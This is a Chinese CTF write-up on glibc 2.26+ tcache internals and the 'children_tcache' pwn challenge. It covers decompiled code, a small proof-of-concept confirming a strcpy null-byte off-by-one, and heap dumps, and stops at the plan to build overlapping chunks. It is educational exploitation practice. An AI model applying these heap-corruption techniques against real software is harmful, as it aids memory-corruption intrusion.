前言

最近比赛Pwn的libc版本越来越多2.26以上的了,也就相当于多了不少tcache相关的题目,于是最近恶补了一波tcache机制相关的东西,并记录下tcache相关题目的调试

tcache简介

tcache(thread local )是glibc在2.26版本新出现的一种内存管理机制,它优化了分配效率却也降低了安全性,一些漏洞的利用条件变得容易了许多

首先我们先看下tcache新引入的两个数据结构tcache_entry 和tcache_perthread_struct

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

这里简单的说明一下tcache和fastbin的结构都很相像也都是单链表结构,明显的不同是fastbin每个bins有10个块而tcache是7个并且tcache的优先级要高于fastbin,相当于只有tcache放不下了才会放入fastbin

(0x20)   tcache_entry[0]: 0x55ea7bc0d320 --> 0x55ea7bc0d300 --> 0x55ea7bc0d2e0 -->
 0x55ea7bc0d2c0 --> 0x55ea7bc0d2a0 --> 0x55ea7bc0d280 --> 0x55ea7bc0d260

我们先看下题目的基本信息,这里我是用了自己写的一个pwn环境来实现tcache的调试具体链接会在末尾放出

➜  tcache file children_tcache 
children_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ebf73572ad77a035a366578bf87c6aabc6a235a1, stripped
➜  tcache checksec children_tcache 
[*] '/home/ctf/process/tcache/children_tcache'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位防护全开的程序,真的刺激,我们看下程序干了些什么

➜  tcache ./children_tcache 
$$$$$$$$$$$$$$$$$$$$$$$$$$$
    Children Tcache    
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. New heap           $
$   2. Show heap          $
$   3. Delete heap        $ 
$   4. Exit               $ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice: 1
Size:12
Data:aaaa

一个基本的菜单类型的pwn题,在简单的审计过后就能发现漏洞,首先我们看下程序本身产生的问题

void new()
{
  signed int i; // [rsp+Ch] [rbp-2034h]
  char *note_chunk; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char buf; // [rsp+20h] [rbp-2020h]
  unsigned __int64 v4; // [rsp+2038h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&buf, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return;
    }
    if ( !note[i] )
      break;
  }
  printf("Size:");
  size = input();
  if ( size > 0x2000 )
    exit(-2);
  note_chunk = malloc(size);
  if ( !note_chunk )
    exit(-1);
  printf("Data:");
  read_chk_input(&buf, size);
  strcpy(note_chunk, &buf);
  note[i] = note_chunk;
  note_size[i] = size;
}

我们知道strcpy在拷贝字符串时连末尾的'\0'也会一起拷贝,假设我们的字符串长度刚好和所分配给它的长度相等,那么就可能会造成null-byte-off-by-one漏洞,我们简单的验证一下

#poc
new(0x10,'a'*8)
new(0x110,'aaaa')
raw_input()

free(0)
new(0x18,'a'*0x18)
raw_input()
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x565258e29000      0x0                 0x250                Used                None              None
0x565258e29250      0x0                 0x20                 Used                None              None
0x565258e29270      0x0                 0x110                Used                None              None

pwndbg> parseheap
addr                prev                size                 status              fd                bk   
0x565258e29000      0x0                 0x250                Used                None              None
0x565258e29250      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x565258e29270      0x6161616161616161  0x100                Freed         0x62626262               0x0
Corrupt ?! (size == 0) (0x565258e29370)
pwndbg> x/8x 0x565258e29250
0x565258e29250: 0x0000000000000000  0x0000000000000021
0x565258e29260: 0x6161616161616161  0x0000000000000000
0x565258e29270: 0x0000000000000000  0x0000000000000111
0x565258e29280: 0x0000000062626262  0x0000000000000000

pwndbg> x/8x 0x565258e29250
0x565258e29250: 0x0000000000000000  0x0000000000000021
0x565258e29260: 0x6161616161616161  0x6161616161616161
0x565258e29270: 0x6161616161616161  0x0000000000000100   ==>这里原本应该为0x111但最末尾的0x11被0x00覆盖了
0x565258e29280: 0x0000000062626262  0x0000000000000000

由于这题的出题人用0xda填充整个chunk,所以我们不能直接伪造pre_size来overlapping

void delete()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-8h]

  printf("Index:");
  idx = input();
  if ( idx > 9 )
    exit(-3);
  if ( note[idx] )
  {
    memset(note[idx], 0xDA, note_size[idx]);
    free(note[idx]);
    note[idx] = 0LL;
    note_size[idx] = 0LL;
  }
  puts(":)");
}

但我们刚刚才验证的null byte off-by-one溢出的字节为\x00,所以我们可以通过反复的利用这个把pre_size位清0来构造overlapping

```

点击收藏 | 3 关注 | 2
登录 后跟帖